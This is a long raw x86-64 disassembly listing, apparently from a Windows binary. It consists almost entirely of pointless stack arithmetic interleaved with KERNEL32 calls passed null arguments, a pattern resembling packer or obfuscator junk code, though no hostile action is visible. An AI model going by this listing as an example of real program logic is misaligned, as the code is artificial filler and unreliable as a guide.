mov dword [rsp + 0xb06c], eax
mov rax, qword [rsp + 0x14d50]
mov ecx, dword [rsp + 0xaf70]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa3c], eax
mov eax, dword [rsp + 0xa774]
mov dword [0x14028eb60], eax
mov rax, qword [rsp + 0x15318]
mov eax, dword [rax]
mov ecx, dword [0x140282880]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14aa0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6a4]
mov byte [rsp + 0x767], al
movsx eax, word [rsp + 0x2fc0]
mov rcx, qword [rsp + 0x14360]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14e70]
mov word [rcx], ax
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
mov word [rsp + 0x307c], ax
mov rax, qword [rsp + 0x14670]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x550]
add eax, ecx
mov byte [rsp + 0x758], al
mov rax, qword [rsp + 0x15128]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8b0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa28], eax
mov rax, qword [rsp + 0x14738]
mov ecx, dword [rsp + 0xa9b8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6898], eax
mov rax, qword [rsp + 0x14c10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x147c8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x224], al
mov rax, qword [0x14028ec48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14f08]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140282800], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x147d0]
mov eax, dword [rax]
mov dword [rsp + 0xb070], eax
mov rax, qword [rsp + 0x14f00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa38c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf50], eax
lea rax, [rsp + 0x6880]
mov qword [rsp + 0x15398], rax
mov rax, qword [rsp + 0x14b50]
mov rcx, qword [rsp + 0x14ba8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9498], eax
movzx eax, byte [rsp + 0x3bd]
mov rcx, qword [rsp + 0x14338]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x68b], al
movzx eax, word [0x14028edc8]
mov word [rsp + 0x3080], ax
mov rax, qword [rsp + 0x14a10]
mov ecx, dword [rsp + 0xa70c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa8e4], eax
mov eax, dword [rsp + 0xa910]
mov ecx, dword [rsp + 0xa238]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6640], eax
movsx eax, byte [0x140281dc3]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281e9a], al
mov rcx, qword [rsp + 0x14b70]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa26c], eax
mov rax, qword [rsp + 0x14e70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d68]
add eax, ecx
mov word [rsp + 0x2bbc], ax
mov rax, qword [rsp + 0x14c38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d1]
add eax, ecx
mov byte [rsp + 0x668], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
movzx eax, word [rsp + 0x1c24]
mov word [rsp + 0x3084], ax
mov rax, qword [rsp + 0x14ca0]
mov rcx, qword [rsp + 0x14880]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14ef8]
mov dword [rcx], eax
mov eax, dword [0x1402828f8]
mov dword [rsp + 0xb074], eax
mov eax, dword [rsp + 0x8318]
mov ecx, dword [rsp + 0x8140]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x87b0], eax
mov rax, qword [rsp + 0x14578]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7d08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb020], eax
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c5c], eax
mov rax, qword [rsp + 0x15278]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6bc]
or eax, ecx
mov rcx, qword [rsp + 0x14f58]
mov byte [rcx], al
movzx eax, word [rsp + 0x2be4]
mov rcx, qword [rsp + 0x14e60]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140282914], ax
mov rax, qword [rsp + 0x149d8]
mov eax, dword [rax]
mov dword [rsp + 0xb078], eax
mov eax, dword [rsp + 0xab88]
mov ecx, dword [rsp + 0xa3e4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa678], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6500]
shl eax, cl
mov dword [rsp + 0xa890], eax
mov eax, dword [rsp + 0xae18]
mov dword [rsp + 0xb07c], eax
movzx eax, byte [rsp + 0x6ba]
movzx ecx, byte [rsp + 0x712]
and eax, ecx
mov byte [rsp + 0x6a3], al
movzx eax, word [0x14028290c]
mov rcx, qword [rsp + 0x141d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1588], ax
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x146d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6c7], al
mov rax, qword [rsp + 0x14530]
movzx eax, word [rax]
mov word [rsp + 0x3088], ax
mov rax, qword [0x14028ebf8]
mov rcx, qword [rsp + 0x14f80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14028ee58], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xafb4], eax
mov eax, dword [rsp + 0xae9c]
mov ecx, dword [rsp + 0xac74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d88], eax
mov rax, qword [rsp + 0x14b18]
movzx eax, word [rax]
movzx ecx, word [0x1402828fc]
add eax, ecx
mov word [rsp + 0x2f88], ax
lea rax, [rsp + 0x691]
mov qword [rsp + 0x153a0], rax
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac94], eax
mov rax, qword [rsp + 0x14218]
mov eax, dword [rax]
mov dword [rsp + 0xb080], eax
mov rax, qword [0x14028ec50]
mov rcx, qword [rsp + 0x152a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xac7c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14a30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa438]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14720]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6ab]
mov rcx, qword [rsp + 0x14eb8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x149], al
mov rax, qword [rsp + 0x148e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x148d0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x140282918], ax
mov eax, dword [rsp + 0x7f10]
mov ecx, dword [rsp + 0xad30]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xac84], eax
mov eax, dword [rsp + 0xa138]
mov dword [rsp + 0xb084], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb014]
shl eax, cl
mov dword [rsp + 0x9fd8], eax
mov eax, dword [0x1402827a0]
mov ecx, dword [rsp + 0xa650]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaee8], eax
mov rax, qword [rsp + 0x147e8]
mov eax, dword [rax]
mov dword [rsp + 0xb088], eax
mov rax, qword [rsp + 0x150d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x744]
add eax, ecx
mov byte [rsp + 0x18f], al
lea rax, [rsp + 0x19b0]
mov qword [rsp + 0x153a8], rax
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b18]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x265c], ax
movzx eax, byte [rsp + 0x67b]
movzx ecx, byte [rsp + 0x4d6]
sub eax, ecx
mov byte [0x140281e72], al
mov eax, dword [rsp + 0xa100]
mov dword [rsp + 0xb08c], eax
mov eax, dword [rsp + 0xae44]
mov ecx, dword [rsp + 0xae4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4ac], eax
lea rdx, [rsp + 0x233c0]
mov rcx, qword [rsp + 0x140e8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa440], eax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14f08]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2de0], ax
lea rax, [0x14028eea0]
mov qword [rsp + 0x153b0], rax
mov rax, qword [rsp + 0x145d0]
mov ecx, dword [rsp + 0x7888]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9388], eax
mov rax, qword [rsp + 0x14ea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaae0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x99e4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x14028ee90]
mov ecx, dword [rsp + 0xa464]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14e18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14300]
mov ecx, dword [rsp + 0x8aac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x75e0], eax
lea rax, [rsp + 0x2c68]
mov qword [0x14028eb58], rax
mov rax, qword [0x14028ecb0]
movzx eax, byte [rax]
mov byte [rsp + 0x768], al
mov rax, qword [rsp + 0x14f68]
mov ecx, dword [rsp + 0x9e00]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa628], eax
mov eax, dword [rsp + 0xae2c]
mov dword [rsp + 0xb090], eax
movsx eax, byte [0x140281ddb]
movsx ecx, byte [rsp + 0x6d2]
sar eax, cl
mov byte [rsp + 0x630], al
mov rax, qword [rsp + 0x14ce0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b6c], ax
mov rcx, qword [rsp + 0x143d0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa3ec], eax
movzx eax, byte [rsp + 0x6ed]
movzx ecx, byte [0x140281dc2]
or eax, ecx
mov byte [rsp + 0x2e5], al
movzx eax, word [rsp + 0x2134]
mov rcx, qword [rsp + 0x15378]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14310]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa2a4], eax
mov eax, dword [rsp + 0xa3a8]
mov dword [rsp + 0xb094], eax
mov rax, qword [rsp + 0x148e8]
mov ecx, dword [0x14028ed88]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028edc0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x150e0]
mov rcx, qword [rsp + 0x14e48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14348]
mov dword [rcx], eax
mov rax, qword [rsp + 0x149d8]
mov rcx, qword [rsp + 0x15388]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa8b0], eax
mov eax, dword [rsp + 0xa428]
mov dword [rsp + 0xb098], eax
movzx eax, word [rsp + 0x3084]
movzx ecx, word [rsp + 0x2b48]
add eax, ecx
mov word [rsp + 0x24d8], ax
movzx eax, byte [rsp + 0x6a3]
mov rcx, qword [0x14028ed18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4a5], al
mov rax, qword [rsp + 0x14348]
mov rcx, qword [rsp + 0x14c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x144e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xadec]
mov dword [rsp + 0xb09c], eax
mov rax, qword [0x14028ebc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaee0], eax
mov rax, qword [rsp + 0x14d90]
mov eax, dword [rax]
mov dword [0x14028eb50], eax
movzx eax, word [rsp + 0x2ca0]
movzx ecx, word [rsp + 0x2f64]
sub eax, ecx
mov word [rsp + 0x3074], ax
movzx eax, byte [rsp + 0x662]
mov byte [rsp + 0x769], al
movsx eax, byte [rsp + 0x6cb]
movsx ecx, byte [rsp + 0x6cf]
add eax, ecx
mov byte [rsp + 0x734], al
lea rax, [rsp + 0x2cd8]
mov qword [rsp + 0x153b8], rax
mov rax, qword [rsp + 0x14ef8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaf04]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x850c], eax
mov eax, dword [rsp + 0xadf0]
mov ecx, dword [0x140282864]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xacdc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xb0a0], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa440], eax
movzx eax, word [rsp + 0x2340]
mov rcx, qword [rsp + 0x14590]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x285c], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x701]
shl eax, cl
mov byte [rsp + 0x730], al
mov rax, qword [rsp + 0x15128]
mov ecx, dword [rsp + 0x9a04]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14028ebc0], eax
mov eax, dword [rsp + 0x69e0]
mov dword [rsp + 0xb0a4], eax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
mov ecx, dword [0x140282828]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa950], eax
mov rax, qword [rsp + 0x14f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xad28], eax
mov rax, qword [rsp + 0x14b08]
movzx eax, byte [rax]
mov byte [rsp + 0x76a], al
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ce8]
sub eax, ecx
mov word [rsp + 0x2d24], ax
mov eax, dword [rsp + 0xacd8]
mov dword [rsp + 0xb0a8], eax
mov eax, dword [rsp + 0xafe0]
mov ecx, dword [rsp + 0x9c60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa48c], eax
mov rax, qword [0x14028ec30]
mov ecx, dword [rsp + 0x8144]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8e80], eax
lea rax, [rsp + 0xa8e0]
mov qword [0x14028eb48], rax
mov rax, qword [rsp + 0x14640]
mov ecx, dword [rsp + 0x9580]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8050], eax
movsx eax, byte [rsp + 0x70e]
movsx ecx, byte [rsp + 0x4c7]
and eax, ecx
mov byte [rsp + 0x66d], al
mov rax, qword [rsp + 0x142e8]
movzx eax, word [rax]
mov word [rsp + 0x308c], ax
mov rax, qword [rsp + 0x14278]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x606]
add eax, ecx
mov rcx, qword [rsp + 0x14888]
mov byte [rcx], al
lea rax, [rsp + 0x2fc4]
mov qword [rsp + 0x153c0], rax
mov rax, qword [rsp + 0x14440]
mov ecx, dword [rsp + 0x674c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xaf0c], eax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7610]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xaaa0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0x15320]
movzx eax, word [rax]
mov word [rsp + 0x3090], ax
mov rcx, qword [rsp + 0x148b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x14888]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14b40]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14028ece8], al
mov rax, qword [rsp + 0x14b50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14b48]
mov qword [rsp + 0x153c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x153c8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14ca0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14988]
mov rcx, qword [rsp + 0x14738]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6468], eax
mov rax, qword [rsp + 0x14820]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9228]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x86c8], eax
mov rax, qword [rsp + 0x148c0]
mov rcx, qword [rsp + 0x14a18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14588]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2efc]
mov word [rsp + 0x3094], ax
movzx eax, byte [rsp + 0x70b]
movzx ecx, byte [0x140281e3a]
sub eax, ecx
mov byte [rsp + 0x6ee], al
mov eax, dword [rsp + 0xaf1c]
mov dword [rsp + 0xb0ac], eax
mov eax, dword [rsp + 0xa504]
mov ecx, dword [rsp + 0xa5ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x985c], eax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x680]
add eax, ecx
mov byte [0x140281ddb], al
movsx eax, word [rsp + 0x3004]
mov rcx, qword [rsp + 0x153b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14a98]
mov word [rcx], ax
mov rax, qword [rsp + 0x146e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14698]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5cb], al
movzx eax, word [rsp + 0x2098]
movzx ecx, word [rsp + 0x2c68]
sub eax, ecx
mov word [rsp + 0x2cd0], ax
mov rax, qword [rsp + 0x15168]
mov eax, dword [rax]
mov dword [rsp + 0xb0b0], eax
mov eax, dword [rsp + 0xa5c8]
mov ecx, dword [rsp + 0xaf04]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa100], eax
mov eax, dword [0x140282794]
mov dword [rsp + 0xb0b4], eax
lea rcx, [rsp + 0x21ab8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [rsp + 0xa644]
movzx ecx, al
mov eax, dword [rsp + 0x8e48]
sar eax, cl
mov dword [rsp + 0xa868], eax
mov rax, qword [rsp + 0x14420]
mov rcx, qword [0x14028edd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa390], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xb0b8], eax
lea rax, [rsp + 0x2bb8]
mov qword [rsp + 0x153d0], rax
mov rax, qword [rsp + 0x14890]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63f]
shl eax, cl
mov byte [0x140281e9b], al
lea rcx, [rsp + 0x21ab8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x14df0]
mov rcx, qword [0x14028ee60]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa874], eax
mov eax, dword [rsp + 0xa278]
mov ecx, dword [rsp + 0xaaf4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0f4], eax
mov rax, qword [rsp + 0x149a8]
mov ecx, dword [rsp + 0x6fd4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8050], eax
mov eax, dword [rsp + 0xaf88]
mov ecx, dword [rsp + 0x739c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x97f4], eax
movzx eax, word [rsp + 0x3008]
mov word [rsp + 0x3098], ax
movzx eax, byte [rsp + 0x6bf]
mov rcx, qword [rsp + 0x15080]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x699], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x13ff0], rax
movzx eax, word [rsp + 0x2f90]
mov word [rsp + 0x309c], ax
movsx eax, byte [rsp + 0x64c]
mov rcx, qword [rsp + 0x145f0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x724], al
mov rax, qword [rsp + 0x15168]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f90]
add ecx, eax
mov eax, ecx
mov dword [0x14028291c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa58c], eax
mov rax, qword [rsp + 0x14a10]
mov rcx, qword [rsp + 0x14748]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa374], eax
mov rax, qword [rsp + 0x14e10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15120]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2b1], al
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x147b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2f5c], ax
mov eax, dword [rsp + 0xa6c0]
mov dword [rsp + 0xb0bc], eax
mov rax, qword [rsp + 0x14248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa520]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x921c], eax
mov rax, qword [0x14028ebc8]
mov ecx, dword [rsp + 0x78e0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x141d0]
mov dword [rcx], eax
lea rdx, [rsp + 0xa26c]
mov rcx, qword [rsp + 0x14598]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xb0c0], eax
movzx ecx, word [rsp + 0x2ba0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bdc], ax
mov rax, qword [rsp + 0x146c0]
mov eax, dword [rax]
mov dword [rsp + 0xb0c4], eax
mov rax, qword [rsp + 0x15320]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2a0c], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x542]
sar eax, cl
mov byte [0x14028eba2], al
mov rax, qword [rsp + 0x147f8]
mov eax, dword [rax]
mov dword [rsp + 0xb0c8], eax
mov eax, dword [0x14028eb70]
mov ecx, dword [rsp + 0xafc8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xab54], eax
mov rax, qword [rsp + 0x14ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac30]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c80], eax
mov eax, dword [rsp + 0x7c64]
mov ecx, dword [rsp + 0xa95c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fa0], eax
mov rax, qword [rsp + 0x14c30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa974]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14640]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x658]
mov byte [rsp + 0x76b], al
movsx eax, word [rsp + 0x2708]
mov rcx, qword [rsp + 0x15180]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b2c], ax
mov rax, qword [rsp + 0x151b8]
movzx eax, word [rax]
mov word [rsp + 0x30a0], ax
mov rax, qword [rsp + 0x14eb8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e9]
and eax, ecx
mov byte [0x14028ed10], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14c08]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xae30], eax
mov rax, qword [0x14028ee98]
mov ecx, dword [rsp + 0xa490]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xad1c], eax
movzx eax, word [rsp + 0x2d38]
movzx ecx, word [rsp + 0x2d6c]
sub eax, ecx
mov word [rsp + 0x266c], ax
movzx eax, byte [rsp + 0x71c]
mov rcx, qword [rsp + 0x147c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6dc], al
mov eax, dword [rsp + 0xb0a8]
mov dword [rsp + 0xb0cc], eax
mov eax, dword [rsp + 0xa6b0]
mov ecx, dword [rsp + 0xa4bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaaa4], eax
mov rax, qword [rsp + 0x15228]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xaf84]
sar eax, cl
mov dword [rsp + 0xa410], eax
mov rax, qword [rsp + 0x150f8]
mov eax, dword [rax]
mov dword [rsp + 0xb0d0], eax
movzx eax, word [rsp + 0x2bec]
mov word [0x14028eb42], ax
movzx eax, byte [rsp + 0x659]
movzx ecx, byte [0x14028eba3]
shl eax, cl
mov byte [rsp + 0x6bb], al
mov rax, qword [rsp + 0x15168]
mov ecx, dword [rsp + 0xa7ec]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x83a8], eax
movzx ecx, word [rsp + 0x2ebc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bd0], ax
mov rax, qword [rsp + 0x145d0]
mov rcx, qword [rsp + 0x14140]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa6b4], eax
mov rax, qword [rsp + 0x15180]
movzx eax, word [rax]
mov word [rsp + 0x30a4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [rsp + 0x14c50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x145f0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14c68]
mov byte [rcx], al
mov rax, qword [rsp + 0x15328]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bc8]
add eax, ecx
mov word [rsp + 0x2f2c], ax
mov rax, qword [0x14028ed18]
movzx eax, byte [rax]
mov byte [rsp + 0x76c], al
mov rax, qword [rsp + 0x14ae0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8db0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xadec], eax
mov rax, qword [rsp + 0x14c20]
mov rcx, qword [rsp + 0x145d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282798], eax
mov rax, qword [rsp + 0x14970]
mov ecx, dword [rsp + 0xa340]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a80], eax
movzx ecx, word [rsp + 0x2e50]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x30a8], ax
mov rax, qword [rsp + 0x14380]
mov ecx, dword [rsp + 0xa638]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb018], eax
mov eax, dword [rsp + 0xa37c]
mov ecx, dword [0x140282878]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x98b0], eax
movzx eax, byte [rsp + 0x296]
mov byte [rsp + 0x76d], al
mov rax, qword [rsp + 0x14e60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cc0]
sub eax, ecx
mov word [rsp + 0x2e5c], ax
mov eax, dword [rsp + 0xa9e8]
mov dword [rsp + 0xb0d4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov eax, dword [rsp + 0x6ad8]
mov ecx, dword [rsp + 0x7f44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb010], eax
mov rax, qword [rsp + 0x15380]
mov rcx, qword [rsp + 0x151d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa840], eax
mov rax, qword [rsp + 0x15370]
mov ecx, dword [rsp + 0x6500]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x140282920], eax
movzx eax, word [rsp + 0x2b64]
mov word [rsp + 0x30ac], ax
movzx eax, byte [rsp + 0x675]
movzx ecx, byte [rsp + 0x6bb]
or eax, ecx
mov rcx, qword [rsp + 0x15080]
mov byte [rcx], al
mov rcx, qword [rsp + 0x14d38]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x721]
movsx ecx, byte [rsp + 0x75b]
sar eax, cl
mov byte [rsp + 0x335], al
mov rax, qword [rsp + 0x14e38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3054]
shl eax, cl
mov rcx, qword [rsp + 0x14e38]
mov word [rcx], ax
mov eax, dword [rsp + 0xa550]
mov ecx, dword [0x14028ebf0]
